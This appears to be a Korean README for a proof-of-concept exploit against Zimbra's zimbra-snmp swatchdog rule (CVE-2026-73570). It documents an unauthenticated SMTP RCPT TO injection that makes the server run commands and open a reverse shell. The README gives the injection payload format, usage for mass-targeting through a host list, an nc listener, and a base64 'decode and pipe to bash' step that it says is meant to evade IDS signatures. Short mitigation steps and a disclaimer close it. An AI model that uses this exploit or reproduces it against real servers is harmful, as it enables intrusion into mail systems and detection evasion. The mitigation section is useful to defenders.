
Zimbra SNMP 알림 OS 명령 주입 — SMTP 익스플로잇을 통한 인증 없는 RCE (PoC)
| 필드 | 값 |
|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — OS 명령에 사용되는 특수 요소의 부적절한 중화 |
| 영향 | Zimbra ZCS < 10.1.20(zimbra-snmp 설치 시) |
| 수정 버전 | ZCS 10.1.20 — 2026년 7월 |
| CISA KEV | 2026-08-21 추가(FCEB 패치 기한: 2026-08-24) |
| 인증 필요 | 없음 |
| 실행 권한 | zimbra OS 사용자 |
선택적 zimbra-snmp 패키지에는 다음 패턴과 일치하는 /var/log/zimbra.log의 줄을 추적하는 swatchdog 규칙이 포함되어 있습니다:
Service status change: <NAME> changed from <STATE> to <STATE>
일치 항목이 발견되면 swatchdog는 캡처된 <NAME> 필드를 어떠한 검증 없이 SNMP 알림 셸 스크립트에 직접 전달합니다.
인증되지 않은 공격자는 특수하게 구성된 SMTP RCPT TO 명령을 전송하여 조작된 로그 항목을 주입할 수 있습니다. RFC 5321 따옴표 처리된 로컬 파트를 사용하여 $(...)와 같은 셸 메타문자가 <NAME> 내부에 포함되며, swatchdog가 결과 로그 줄을 처리할 때 실행됩니다.
취약점이 악용 가능하려면 대상에서 다음 세 가지 조건이 모두 충족되어야 합니다:
zimbra-snmp 패키지가 설치되어 있음snmp_notify = true)swatchdog 서비스가 실행 중공격자 Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── RCPT TO 데이터 기록 ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog 패턴 일치,
│ │ $(CMD) 추출, 실행
│◄─────────── 셸 콜백 ───────────────────────────────────────┘
RCPT TO로 표준 SMTP 대화를 전송합니다.swatchdog가 로그 패턴을 일치시키고 주입된 $(CMD)를 추출합니다.zimbra OS 사용자로 CMD를 실행합니다.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — 한 줄에 호스트 하나, 선택적으로 :port, #로 시작하는 줄은 무시됩니다:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| 플래그 | 긴 옵션 | 기본값 | 설명 |
|---|---|---|---|
-H | --host | — | 단일 대상 호스트명 또는 IP |
-f | --file | — | 대상 목록이 포함된 파일 |
-p | --port | 587 | 기본 SMTP 포트 |
-r | --rhost | — | 리버스 셸 콜백용 IP |
-R | --rport | 4444 | 리스너 포트 |
-t | --timeout | 15 | 소켓 타임아웃(초) |
-S | --ssl | off | 직접 TLS(포트 465에서 자동 활성화) |
-v | --verbose | off | 전체 SMTP 대화 출력 |
-L | --logfile | — | 세션 로그를 파일에 기록 |
-h | --help | — | 도움말 표시 |
# 터미널 1 — 리스너 시작
nc -lvnp 4444
# 터미널 2 — 익스플로잇 실행
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
리버스 셸 명령은 주입 전에 base64로 인코딩됩니다:
echo <b64>|base64 -d|bash
이렇게 하면 IDS/IPS가 /dev/tcp, bash -i, nc -e와 같은 평문 시그니처를 탐지하지 못합니다. 인코딩된 블롭은 RCPT TO의 따옴표 처리된 로컬 파트 내부에 $(...)로 주입되며, swatchdog가 로그 항목을 처리할 때 서버 측에서 실행이 트리거됩니다.
| 조치 | 세부 사항 |
|---|---|
| 패치 | Zimbra ZCS ≥ 10.1.20으로 업그레이드 |
| SNMP 알림 비활성화 | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| 패키지 제거 | apt remove zimbra-snmp / yum remove zimbra-snmp |
| 네트워크 제어 | 운영상 가능한 경우 인바운드 SMTP(25/465/587)를 신뢰할 수 있는 릴레이로 제한 |
이 개념 증명은 승인된 보안 테스트, 학술 연구 및 방어 목적으로만 공개되었습니다.
소유하지 않았거나 명시적인 서면 허가 없이 테스트할 권한이 없는 시스템에 대해 실행하는 것은 불법입니다.
저자는 이 도구로 인한 오용이나 피해에 대해 어떠한 책임도 지지 않습니다.